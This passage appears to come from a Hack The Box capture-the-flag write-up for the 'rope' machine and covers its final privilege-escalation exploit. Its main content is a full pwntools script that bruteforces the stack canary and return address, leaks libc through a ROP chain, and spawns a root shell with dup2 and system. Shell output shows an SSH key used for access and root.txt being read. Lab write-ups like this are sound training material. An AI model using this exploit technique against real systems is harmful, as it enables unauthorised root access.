to our connection in order to interact with a shell spawned by calling system
. This can be done by using the dup2
function:
dup2(socket_fd, 0); dup2(socket_fd, 1); system("/bin/sh");
Accordingly our ROP-chain for the final exploit looks like this:
... # exploit dup2_offset = 0xec1f0 execve_offset = 0xc8020 system_offset = 0x46ff0 binsh_offset = 0x183cee """dup2_offset = 0x1109a0 execve_offset = 0xe4e30 system_offset = 0x4f440 binsh_offset = 0x1b3e9a""" expl = 'A' * 56 expl += p64(canary) expl += p64(rbp) # dup2(socket_fd, 0) expl += p64(img_base+pop_rsi_r15) expl += p64(0)*2 expl += p64(libc_base+dup2_offset) # dup2(socket_fd, 1) expl += p64(img_base+pop_rsi_r15) expl += p64(1)+p64(0) expl += p64(libc_base+dup2_offset) # system("/bin/sh") expl += p64(img_base+pop_rsi_r15) expl += p64(0)*2 expl += p64(img_base+pop_rdx) expl += p64(0) expl += p64(img_base+pop_rdi) expl += p64(libc_base+binsh_offset) expl += p64(libc_base+system_offset) io = remote(rhost, rport) io.send(expl) io.interactive()
Let’s verify that the exploit is working against our local machine:
root@kali:~/htb/boxes/rope# ./expl.py found byte: 0x69 found byte: 0xfe found byte: 0xba ... canary : 0x76d6e733bafe6900 rbp : 0x7fff44fa9b00 ret_addr: 0x555e62f43562 img_base: 0x555e62f42000 leak :0x7f24af82ab40 libc_base:0x7f24af7d6000 Please enter the message you want to send to admin: $ id uid=0(root) gid=0(root) groups=0(root)
Great 🙂
In order to adjust the exploit for the actual target, we need to grab the 64bit libc version from it, which is not a big afford since we already have ssh access with the user r4j
:
root@kali:~/htb/boxes/rope/loot# scp -i id_rsa_r4j r4j@10.10.10.148:/lib/x86_64-linux-gnu/libc.so.6 ./victim_libc.so.6 libc.so.6
Now we need to adjust the libc offsets within the script and run it against the target. In order to do this, we forward the local port 1337
on our machine to the target host using ssh:
root@kali:~/htb/boxes/rope/loot# ssh -L 1337:127.0.0.1:1337 r4j@10.10.10.148 -i id_rsa_r4j Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 4.15.0-52-generic x86_64) ... r4j@rope:~$
If we now execute the script, it runs against the target:
root@kali:~/htb/boxes/rope# ./expl.py canary : 0xf653dbec3273f500 rbp : 0x7fff653b1420 ret_addr: 0x55d013913562 img_base: 0x55d01391204f Traceback (most recent call last): File "./bruteAll.py", line 74, in <module> leak = u(io.recv(8)) File "/usr/local/lib/python2.7/dist-packages/pwnlib/tubes/tube.py", line 78, in recv return self._recv(numb, timeout) or '' File "/usr/local/lib/python2.7/dist-packages/pwnlib/tubes/tube.py", line 156, in _recv if not self.buffer and not self._fillbuffer(timeout): File "/usr/local/lib/python2.7/dist-packages/pwnlib/tubes/tube.py", line 126, in _fillbuffer data = self.recv_raw(self.buffer.get_fill_size()) File "/usr/local/lib/python2.7/dist-packages/pwnlib/tubes/sock.py", line 54, in recv_raw raise EOFError EOFError
Ouch. This didn’t work. The value for img_base
doesn’t look correct as the last three nibbles should be zero. Since the environment of our local machine is slightly different than the target, the bruteforce of the return address yielded a different offset within the function, which sends the message "Done."
. Thus we only need to adjust this offset:
#img_base = ret_addr - 0x1513 img_base = ret_addr - 0x1562
If we now rerun the script, we get a shell:
root@kali:~/htb/boxes/rope# ./finalExpl.py canary : 0xf653dbec3273f500 rbp : 0x7fff653b1420 ret_addr: 0x55d013913562 img_base: 0x55d013912000 leak :0x7f3e30704e80 libc_base:0x7f3e306a0000 Please enter the message you want to send to admin: $ id uid=0(root) gid=0(root) groups=0(root) $ ls -al total 56 drwx------ 7 root root 4096 Jul 8 13:04 . drwxr-xr-x 25 root root 4096 Jun 19 16:25 .. drwxr-xr-x 2 root root 4096 Jun 19 19:06 bak lrwxrwxrwx 1 root root 9 Jun 19 17:15 .bash_history -> /dev/null -rw-r--r-- 1 root root 3106 Apr 9 2018 .bashrc drwx------ 2 root root 4096 Jun 19 19:13 .cache drwx------ 3 root root 4096 Jun 19 19:13 .gnupg drwxr-xr-x 3 root root 4096 Jun 19 17:32 .local -rw-r--r-- 1 root root 148 Aug 17 2015 .profile -rw------- 1 root root 33 Jun 19 19:21 root.txt -rw-r--r-- 1 root root 66 Jun 20 06:07 .selected_editor drwx------ 2 root root 4096 Jun 19 15:06 .ssh -rw------- 1 root root 11133 Jul 8 13:04 .viminfo $ cat root.txt 1c77 ... (output truncated)
Here is the final exploit script:
#!/usr/bin/env python from pwn import * import time context.log_level = 21 # disable connection log rhost = '127.0.0.1' rport = 1337 brute_str = '\x00' expl = 'A' * 56 while (len(brute_str) < 24): for i in range(256): fail = False io = remote(rhost, rport) io.send(expl+brute_str+chr(i)) try: r = io.recvuntil('Done.\n', timeout=1.0) if (len(r) == 0): fail = True # timeout except: fail = True # EOF io.close() if (fail): if (i == 255): print('bruteforcing failed') quit() continue print('found byte: ' + hex(i)) brute_str += chr(i) io.close() break u = make_unpacker(64, endian='little', sign='unsigned') canary = u(brute_str[:8]) rbp = u(brute_str[8:16]) ret_addr = u(brute_str[16:]) print('canary : ' + hex(canary)) print('rbp : ' + hex(rbp)) print('ret_addr: ' + hex(ret_addr)) img_base = ret_addr - 0x1562 print('img_base: ' + hex(img_base)) pop_rdi = 0x164b pop_rsi_r15 = 0x1649 pop_rdx = 0x1265 write = 0x154e printf_got = 0x4058 printf_offset = 0x64e80 # leak libc address expl = 'A' * 56 expl += p64(canary) expl += p64(rbp) expl += p64(img_base+pop_rdx) expl += p64(8) expl += p64(img_base+pop_rsi_r15) expl += p64(img_base+printf_got) expl += p64(0) expl += p64(img_base+write) io = remote(rhost, rport) io.send(expl) io.recvuntil('admin:\n') leak = u(io.recv(8)) print('leak :' + hex(leak)) libc_base = leak - printf_offset print('libc_base:' + hex(libc_base)) io.close() # exploit dup2_offset = 0x1109a0 execve_offset = 0xe4e30 system_offset = 0x4f440 binsh_offset = 0x1b3e9a expl = 'A' * 56 expl += p64(canary) expl += p64(rbp) # dup2(socket_fd, 0) expl += p64(img_base+pop_rsi_r15) expl += p64(0)*2 expl += p64(libc_base+dup2_offset) # dup2(socket_fd, 1) expl += p64(img_base+pop_rsi_r15) expl += p64(1)+p64(0) expl += p64(libc_base+dup2_offset) # system("/bin/sh") expl += p64(img_base+pop_rsi_r15) expl += p64(0)*2 expl += p64(img_base+pop_rdx) expl += p64(0) expl += p64(img_base+pop_rdi) expl += p64(libc_base+binsh_offset) expl += p64(libc_base+system_offset) io = remote(rhost, rport) io.send(expl) io.interactive()
That’s it. Thanks for reading the article 🙂